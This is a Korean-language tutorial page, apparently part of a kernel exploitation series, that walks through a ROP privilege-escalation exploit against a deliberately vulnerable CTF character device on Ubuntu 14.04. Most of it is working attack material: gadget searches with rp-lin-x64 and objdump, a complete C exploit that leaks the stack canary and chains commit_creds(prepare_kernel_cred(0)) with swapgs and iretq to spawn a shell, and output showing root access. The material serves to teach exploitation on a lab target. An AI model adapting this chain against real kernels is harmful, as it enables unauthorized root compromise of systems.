Excuse the ads! We need some help to keep our site up.
ROP 기법을 이용한 Exploit의 순서는 다음과 같습니다.
|
commit_creds(prepare_kernel_cred(NULL)); system("/bin/sh"); |
|
Ubuntu 14.04버전의 경우 KASLR이 기본적으로 활성화되어 있지 않습니다.
즉, Gadget을 Debug Symbol 파일에서 Gadget의 위치를 찾아 사용하면됩니다.
다음과 같이 첫번째 인자 값을 저장하기 위한 "pop rdi" Gadget을 찾을 수 있습니다.
lazenca0x0@ubuntu:~/Kernel/Exploit$ ./rp-lin-x64 -f /usr/lib/debug/boot/vmlinux-4.4.0-31-generic -r 1|grep "pop rdi ; ret" | head -1 0xffffffff813e223f: pop rdi ; ret ; (1 found) lazenca0x0@ubuntu:~/Kernel/Exploit$ |
많은 양의 "mov rdi, rax" Gadget이 출력되지만 "ret" 명령어로 끝나는 Gadget은 존재하지 않습니다.
lazenca0x0@ubuntu:~/Kernel/Exploit$ ./rp-lin-x64 -f /usr/lib/debug/boot/vmlinux-4.4.0-31-generic -r 1|grep "mov rdi, rax" 0xffffffff810661d4: mov rdi, rax ; call qword [0x81C2E0F8] ; (1 found) 0xffffffff811b4bd3: mov rdi, rax ; call qword [0x81C2E148] ; (1 found) 0xffffffff811ba7d5: mov rdi, rax ; call qword [0x81C2E148] ; (1 found) 0xffffffff817efe40: mov rdi, rax ; call qword [0x81C2E148] ; (1 found) 0xffffffff81d66689: mov rdi, rax ; call qword [0x81C2E148] ; (1 found) ... 0xffffffff817592d9: mov rdi, rax ; call rdx ; (1 found) 0xffffffff8175a6f5: mov rdi, rax ; call rdx ; (1 found) 0xffffffff8175c5fe: mov rdi, rax ; call rdx ; (1 found) 0xffffffff817696cb: mov rdi, rax ; call rdx ; (1 found) 0xffffffff817e9e92: mov rdi, rax ; call rdx ; (1 found) lazenca0x0@ubuntu:~/Kernel/Exploit$ |
lazenca0x0@ubuntu:~/Kernel/Exploit$ ./rp-lin-x64 -f /usr/lib/debug/boot/vmlinux-4.4.0-31-generic -r 1|grep "mov rdi, rax ; call rdx"|head -1 0xffffffff810152cf: mov rdi, rax ; call rdx ; (1 found) lazenca0x0@ubuntu:~/Kernel/Exploit$ |
lazenca0x0@ubuntu:~/Kernel/Exploit$ ./rp-lin-x64 -f /usr/lib/debug/boot/vmlinux-4.4.0-31-generic -r 1|grep "pop rdx ; ret"|head -1 0xffffffff8112d952: pop rdx ; ret ; (1 found) lazenca0x0@ubuntu:~/Kernel/Exploit$ |
lazenca0x0@ubuntu:~/Kernel/Exploit$ ./rp-lin-x64 -f /usr/lib/debug/boot/vmlinux-4.4.0-31-generic -r 2|grep "swapgs" 0xffffffff810613d4: swapgs ; pop rbp ; ret ; (1 found) lazenca0x0@ubuntu:~/Kernel/Exploit$ |
lazenca0x0@ubuntu:~/Kernel/Exploit$ ./rp-lin-x64 -f /usr/lib/debug/boot/vmlinux-4.4.0-31-generic -r 2|grep "iretq" lazenca0x0@ubuntu:~/Kernel/Exploit$ objdump -j .text -d /usr/lib/debug/boot/vmlinux-4.4.0-31-generic |grep iretq|head -1 ffffffff817f7a97: 48 cf iretq lazenca0x0@ubuntu:~/Kernel/Exploit$ |
https://github.com/0vercl0k/rp/blob/3a54a7cd33f6828c628e92be946060ef835625b4/src/inc/gadget.hpp#L30 |
int main(){ ... size_t rop[512] = {0}; ... rop[8] = canary; rop[9] = 0; rop[10] = 0; rop[11] = 0; rop[12] = 0xffffffff813e223f; //pop_rdi rop[13] = 0; rop[14] = prepare_kernel_cred; rop[15] = 0xffffffff8112d952; //pop rdx ; ret ; rop[16] = commit_creds; rop[17] = 0xffffffff817e9e92; //mov rdi, rax ; call rdx ; rop[18] = 0; rop[19] = 0xffffffff810613d4; //swapgs ; pop rbp ; ret ; rop[20] = 0; rop[21] = 0xffffffff817f7a97; //iretq; rop[22] = (size_t)getShell; rop[23] = rv.user_cs; rop[24] = rv.user_rflags; rop[25] = rv.user_rsp; rop[26] = rv.user_ss; write(fd, rop, 8*27); ... return 0; } |
lazenca0x0@ubuntu:~/Kernel/Exploit/ROP$ ./rop prepare_kernel_cred addr: 0xffffffff8109da40 commit_creds addr: 0xffffffff8109d760 SAW CTF challenge. Best of luck! 53 41 57 20 43 54 46 20 63 68 61 6c 6c 65 6e 67 | SAW CTF challeng 65 2e 20 42 65 73 74 20 6f 66 20 6c 75 63 6b 21 | e. Best of luck! 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 0f eb 2e a8 00 00 00 00 c0 6c 6c 00 00 00 00 00 | ?.??ll [+]canary: 0xa82eeb0f # id uid=0(root) gid=0(root) groups=0(root) # |
//gcc -masm=intel -static -o rop exploit.c #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <string.h> #include <stdint.h> #define TEXT_LEN 64 struct register_val { uint64_t user_rip; uint64_t user_cs; uint64_t user_rflags; uint64_t user_rsp; uint64_t user_ss; } __attribute__((packed)); struct register_val rv; size_t commit_creds, prepare_kernel_cred; void getShell(void) { execl("/bin/sh","sh",NULL); } void backup_rv(void) { asm("mov rv+8, cs;" "pushf; pop rv+16;" "mov rv+24, rsp;" "mov rv+32, ss;" ); } unsigned long kallsym_getaddr(const char* str) { FILE *stream; char fbuf[256]; char addr[32]; stream = fopen("/proc/kallsyms","r"); if(stream < 0) { printf("failed to open /proc/kallsyms\n"); return 0; } memset(fbuf,0x00,sizeof(fbuf)); char buf[0x30] = {0}; while(fgets(fbuf,256,stream) != NULL) { char *p = fbuf; char *a = addr; if(strlen(fbuf) == 0) continue; memset(addr,0x00,sizeof(addr)); fbuf[strlen(fbuf)-1] = '\0'; while(*p != ' ') *a++ = *p++; p += 3; if(!strcmp(p,str)){ char hex[20] = {0}; strncpy(hex, addr, 16); if(strcmp(str,"prepare_kernel_cred") == 0){ sscanf(hex, "%lx", &prepare_kernel_cred); return 1; }else if(strcmp(str,"commit_creds") == 0){ sscanf(hex, "%lx", &commit_creds); return 1; } } } return 0; } int main() { static char buf[512]; size_t rop[512] = {0}; char val[8]; int fd,i,j; if(kallsym_getaddr("commit_creds") == 0) { printf("failed to get commit_creds address\n"); return 0; } if(kallsym_getaddr("prepare_kernel_cred") == 0) { printf("failed to get prepare_kernel_cred address\n"); return 0; } if ((fd = open("/dev/chardev0", O_RDWR)) < 0){ printf("Cannot open /dev/chardev0. Try again later.\n"); return 0; } printf("prepare_kernel_cred addr: %p\n", (void*)prepare_kernel_cred); printf("commit_creds addr: %p\n", (void*)commit_creds); lseek(fd, 16, SEEK_CUR); read(fd, buf, TEXT_LEN); printf("%s\n",buf); for (i = 0; i < 4; i++) { for (j = 0; j < 16; j++) printf("%02x ", buf[i*16+j] & 0xff); printf(" | "); for (j = 0; j < 16; j++) printf("%c", buf[i*16+j] & 0xff); printf("\n"); } memcpy(val, buf+48,8); size_t canary = ((size_t *)val)[0]; printf("[+]canary: %p\n", (void *)canary); backup_rv(); rop[8] = canary; rop[9] = 0; rop[10] = 0; rop[11] = 0; rop[12] = 0xffffffff813e223f; //pop_rdi rop[13] = 0; rop[14] = prepare_kernel_cred; // Call prepare_kernel_cred rop[15] = 0xffffffff8112d952; //pop rdx ; ret ; rop[16] = commit_creds; rop[17] = 0xffffffff817e9e92; //mov rdi, rax ; call rdx(commit_creds) ; rop[18] = 0; rop[19] = 0xffffffff810613d4; //swapgs ; pop rbp ; ret ; rop[20] = 0; rop[21] = 0xffffffff817f7a97; //iretq; rop[22] = (size_t)getShell; rop[23] = rv.user_cs; rop[24] = rv.user_rflags; rop[25] = rv.user_rsp; rop[26] = rv.user_ss; write(fd, rop, 8*27); if (close(fd) != 0){ printf("Cannot close.\n"); } return 0; } |